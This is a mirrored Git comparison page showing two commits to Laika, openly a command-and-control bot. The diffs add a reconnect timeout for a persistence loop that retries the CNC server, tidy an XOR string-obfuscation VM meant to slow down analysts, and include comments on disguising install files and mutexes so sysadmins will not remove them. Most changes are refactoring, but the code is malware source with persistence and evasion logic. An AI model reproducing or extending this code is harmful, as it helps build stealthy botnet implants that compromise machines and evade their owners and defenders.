mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-04 19:41:53 +00:00
Compare commits
2 Commits
a1c49edda1
...
7c4a5ddc8c
Author | SHA1 | Date | |
---|---|---|---|
7c4a5ddc8c | |||
5076e4c7b9 |
@ -9,6 +9,10 @@
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
|
||||
retrying to connect to the CNC server */
|
||||
#define LAIKA_RETRY_CONNECT 5
|
||||
|
||||
#ifdef _WIN32
|
||||
# ifndef LAIKA_DEBUG_BUILD
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||
@ -54,9 +58,9 @@ int main()
|
||||
laikaB_freeBot(bot);
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
# ifdef _WIN32
|
||||
Sleep(5000);
|
||||
Sleep(LAIKA_RETRY_CONNECT*1000);
|
||||
# else
|
||||
sleep(5);
|
||||
sleep(LAIKA_RETRY_CONNECT);
|
||||
# endif
|
||||
} while (1);
|
||||
|
||||
|
@ -63,13 +63,15 @@ struct sLaikaB_box
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
#endif
|
||||
|
||||
/* clang-format off */
|
||||
|
||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
#define LAIKA_BOX_SKID(_key) \
|
||||
{ \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
.code = { /* stack layout: \
|
||||
[0] - unlockedData (ptr) \
|
||||
[1] - data (ptr) \
|
||||
[2] - key (uint8_t) \
|
||||
@ -83,7 +85,7 @@ struct sLaikaB_box
|
||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
OP_EXIT \
|
||||
} \
|
||||
}
|
||||
@ -99,7 +101,7 @@ LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = {0}, /* zero initalized */
|
||||
.code = {0}, /* zero initalized */
|
||||
.stack = {0}, /* zero initalized */
|
||||
.pc = 0
|
||||
};
|
||||
@ -116,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||
}
|
||||
|
||||
/* clang-format on */
|
||||
|
||||
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||
#include "lboxconfig.h"
|
||||
|
||||
|
@ -13,16 +13,16 @@
|
||||
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
||||
|
||||
/* settings */
|
||||
#cmakedefine LAIKA_DEBUG_BUILD
|
||||
#cmakedefine LAIKA_PERSISTENCE
|
||||
#cmakedefine LAIKA_OBFUSCATE
|
||||
#cmakedefine LAIKA_DEBUG_BUILD
|
||||
|
||||
/* raw obfuscated strings */
|
||||
|
||||
/* =====================================[[ Linux Strings ]]===================================== */
|
||||
|
||||
/* we want a semi-random file lock that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our file lock :D */
|
||||
/* we want a semi-random file lock that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our file lock :D */
|
||||
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
||||
|
||||
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
||||
@ -33,8 +33,8 @@
|
||||
|
||||
/* ====================================[[ Windows Strings ]]==================================== */
|
||||
|
||||
/* we want a semi-random mutex that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our mutex :D */
|
||||
/* we want a semi-random mutex that is stable between similar builds,
|
||||
* so we use the GIT_VERSION as our mutex :D */
|
||||
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||
|
||||
/* looks official enough */
|
||||
|
@ -1 +1 @@
|
||||
Subproject commit a606dc79ed346b7c9db6df9ceedd1c3361afcf95
|
||||
Subproject commit f568ff02f1bed155ea598c0e803ef3c9db2703d2
|
@ -13,11 +13,12 @@
|
||||
} while (0);
|
||||
#define RANDBYTE (rand() % UINT8_MAX)
|
||||
|
||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
|
||||
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
|
||||
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
|
||||
"#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||
static const char *POSTAMBLE = "\n#endif\n";
|
||||
|
||||
void writeArray(FILE *out, uint8_t *data, int sz)
|
||||
static void writeArray(FILE *out, uint8_t *data, int sz)
|
||||
{
|
||||
int i;
|
||||
|
||||
@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
|
||||
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
||||
}
|
||||
|
||||
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||
{
|
||||
fprintf(out, "#define %s ", ident);
|
||||
writeArray(out, data, LAIKA_VM_CODESIZE);
|
||||
}
|
||||
|
||||
void writeDefineVal(FILE *out, char *ident, int data)
|
||||
static void writeDefineVal(FILE *out, char *ident, int data)
|
||||
{
|
||||
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
||||
}
|
||||
|
||||
void addPadding(uint8_t *data, int start)
|
||||
static void addPadding(uint8_t *data, int start)
|
||||
{
|
||||
int i;
|
||||
|
||||
@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
|
||||
}
|
||||
}
|
||||
|
||||
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < sz; i++)
|
||||
buff[i] = data[i] ^ key;
|
||||
|
||||
buff[i++] = key; /* add the null terminator */
|
||||
addPadding(buff, i);
|
||||
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
|
||||
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
|
||||
}
|
||||
|
||||
#define MAKESKIDDATA(macro) \
|
||||
@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||
int main(int argv, char **argc)
|
||||
{
|
||||
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
||||
int key;
|
||||
FILE *out;
|
||||
char *fileName;
|
||||
int key;
|
||||
|
||||
if (argv < 2)
|
||||
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
|
||||
|
||||
if ((out = fopen(argc[1], "w+")) == NULL)
|
||||
ERR("Failed to open %s!\n", argc[1]);
|
||||
/* open output file */
|
||||
fileName = argc[1];
|
||||
if ((out = fopen(fileName, "w+")) == NULL)
|
||||
ERR("Failed to open %s!\n", fileName);
|
||||
|
||||
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
||||
slow them down */
|
||||
@ -100,8 +104,8 @@ int main(int argv, char **argc)
|
||||
fprintf(out, POSTAMBLE);
|
||||
fclose(out);
|
||||
|
||||
printf("Wrote %s\n", argc[1]);
|
||||
printf("Laika VMBox data header dumped to '%s'\n", fileName);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#undef MAKEDATA
|
||||
#undef MAKESKIDDATA
|
||||
|
Loading…
Reference in New Issue
Block a user